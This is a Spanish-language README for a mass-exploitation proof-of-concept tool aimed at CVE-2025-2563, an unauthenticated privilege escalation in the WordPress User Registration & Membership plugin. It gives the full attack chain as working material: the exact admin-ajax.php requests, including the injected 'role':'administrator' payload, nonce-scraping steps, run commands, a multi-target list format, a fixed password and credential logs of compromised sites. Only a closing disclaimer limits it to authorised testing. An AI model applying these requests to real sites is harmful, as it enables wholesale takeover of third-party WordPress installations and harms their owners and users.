
El plugin User Registration & Membership de WordPress anterior a la versión 4.1.2 no impide que los usuarios establezcan su rol de cuenta cuando el Membership Addon está habilitado, lo que provoca un problema de escalada de privilegios y permite que usuarios no autenticados obtengan privilegios de administrador.
El plugin User Registration & Membership de WordPress, anterior a la versión 4.1.2, no impide que los usuarios establezcan su rol de cuenta cuando el Membership Addon está habilitado, lo que provoca un problema de escalada de privilegios y permite que usuarios no autenticados obtengan privilegios de administrador.
Descripción:
El plugin User Registration & Membership para WordPress, en versiones anteriores a la 4.1.2, no aplica restricciones de rol del lado del servidor cuando el Membership Addon está habilitado. Durante el proceso de registro de membresía, el plugin acepta un campo role proporcionado por el usuario dentro de la acción AJAX user_registration_membership_register_member sin validarlo contra una lista blanca del servidor. Un atacante remoto completamente no autenticado puede enviar una cadena AJAX de dos pasos manipulada — primero registrando una nueva cuenta de usuario mediante user_registration_user_form_submit y luego inyectando "role": "administrator" en el payload members_data de la llamada de membresía — para crear silenciosamente una cuenta de Administrador de WordPress con privilegios completos. Esto resulta en un compromiso total del sitio sin necesidad de autenticación ni interacción del usuario.
Esta es una herramienta de escaneo de explotación masiva de Prueba de Concepto (PoC) dirigida a instalaciones de WordPress que ejecutan una versión vulnerable del plugin User Registration & Membership con el Membership Addon activo. La herramienta realiza una explotación inteligente en múltiples etapas con descubrimiento automático, obtención de nonces, registro basado en combinaciones, inyección de rol y verificación de administrador.
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
O mediante el archivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
La herramienta utiliza una interfaz de terminal totalmente interactiva basada en Rich.
Crea un archivo de texto plano (por defecto: list.txt) — un objetivo por línea:
https://target1.com
https://target2.com
http://target3.com
target4.com
Los objetivos sin
http://ohttps://reciben automáticamente el prefijohttps://.
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
La contraseña se fija internamente como
Nx_adminSApara todos los intentos de registro.
La herramienta sondea tres páginas automáticamente por cada objetivo:
| Página |
|---|
Los siguientes tokens se extraen del HTML bruto y del JavaScript en línea:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
La herramienta itera automáticamente sobre todas las combinaciones descubiertas de security, frontend_nonce, form_id y membership_id hasta recibir una respuesta success: true.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ El servidor acepta el campo
rolesin ninguna lista blanca: esta es la causa raíz de CVE-2025-2563.
| Archivo | Descripción |
|---|---|
reg.txt | Todos los intentos de registro exitosos con credenciales |
Nx_admin.txt | Todas las escaladas de administrador confirmadas |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCANNING] https://target.com
[EXPLOITING] https://target.com | nonce + reg OK
[EXPLOITED] https://target.com | password: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Password / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ COMPROMISED (exploited) │ password: Nx_adminSA│
│ https://target2.com │ VULNERABLE (nonce exposed) │ │
│ https://target3.com │ DEAD (connection error) │ │
└──────────────────────────────────────────────────────────────────────────┘
Registration log: reg.txt
Exploit (admin) log: Nx_admin.txt
By: Nxploited (Khaled Alenazi)
ESTA HERRAMIENTA SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS Y DE INVESTIGACIÓN DE SEGURIDAD AUTORIZADA.
El autor, Nxploited (Khaled Alenazi), y todos los colaboradores de este proyecto no aprueban, apoyan ni asumen ninguna responsabilidad por el mal uso de esta herramienta o por cualquier daño causado por el uso de este software contra sistemas para los cuales no se cuenta con autorización escrita explícita.
- ✅ Permitido: Uso en sistemas propios o para los que se haya otorgado permiso escrito explícito para realizar pruebas.
- ❌ Prohibido: Uso contra cualquier sistema sin autorización escrita explícita previa del propietario del sistema.
El acceso no autorizado a sistemas informáticos es ilegal y está penado por las leyes aplicables, incluida, entre otras, la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act (CMA) y la legislación equivalente en todo el mundo.
Al usar esta herramienta, aceptas la responsabilidad única y total por tus acciones y confirmas que tienes la autoridad legal para probar los sistemas objetivo.
El autor no asume ninguna responsabilidad por daños directos, indirectos, incidentales o consecuentes derivados del uso o mal uso de este software.
© 2025 Nxploited (Khaled Alenazi) — Solo para investigación de seguridad autorizada.
| Campo | Detalles |
|---|
| ID de CVE | CVE-2025-2563 |
| Gravedad | ALTA — Puntuación CVSS v3.1: 8.1 |
| Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Software afectado | Plugin User Registration & Membership para WordPress |
| Versiones afectadas | Todas las versiones anteriores a la 4.1.2 |
| Tipo de vulnerabilidad | Gestión incorrecta de privilegios: creación de cuentas de administrador sin autenticación |
| Autenticación requerida | Ninguna |
| CWE | CWE-269: Gestión incorrecta de privilegios |
| Propósito |
|---|
/membership-pricing/ | Extraer membership_id y enlaces de registro |
/membership-registration/ | Extraer tokens de formulario, nonces e IDs de campos |
/membership-registration/?membership_id=<id> | Extracción del formulario específico del plan |
/registration/ | Página de registro genérica de respaldo |
| Token | Fuente |
|---|
_nonce | Objeto JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Campo de entrada oculto u objeto JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Campo de entrada oculto ur-user-form-id u objeto JS |
membership_id | Campo de entrada radio urm_membership o cadena de consulta de la URL |
| Estado | Color | Significado |
|---|
COMPROMISED (exploited) | 🟢 Verde | Cadena completa exitosa: inicio de sesión de administrador verificado |
COMPROMISED (exploit ok, admin not verified) | 🟡 Amarillo | La inyección de rol tuvo éxito, pero la verificación del panel de administrador no fue concluyente |
VULNERABLE (nonce exposed, registration failed) | 🟡 Amarillo | Nonce de membresía encontrado, pero el AJAX de registro falló |
VULNERABLE (nonce exposed, exploit pending) | 🟡 Amarillo | Nonce encontrado, pero no se pudo completar la explotación |
EXPLOITING | 🟡 Amarillo | Explotación activa en curso |
REGISTERED (no membership nonce) | 🟡 Amarillo | Registro exitoso, pero el nonce no se puede extraer |
NO REG (all attempts failed) | ⚫ Oscuro | Se agotaron todos los intentos de combinación security/nonce/form_id |
NO REG (max attempts reached) | ⚫ Oscuro | Se alcanzó el límite de intentos configurado |
DEAD (no membership/registration pages) | ⚫ Oscuro | Plugin no detectado en el objetivo |
EXPLOIT FAILED (request error) | 🔴 Rojo | Error de red durante la llamada de inyección de rol |
EXPLOIT FAILED (success=false) | 🔴 Rojo | El servidor devolvió success: false en la inyección de rol |
TIMEOUT | ⚫ Oscuro | Tiempo de espera HTTP agotado |
DEAD (connection error) | ⚫ Oscuro | Conexión rechazada / inalcanzable |
ERROR | 🔴 Rojo | Excepción inesperada |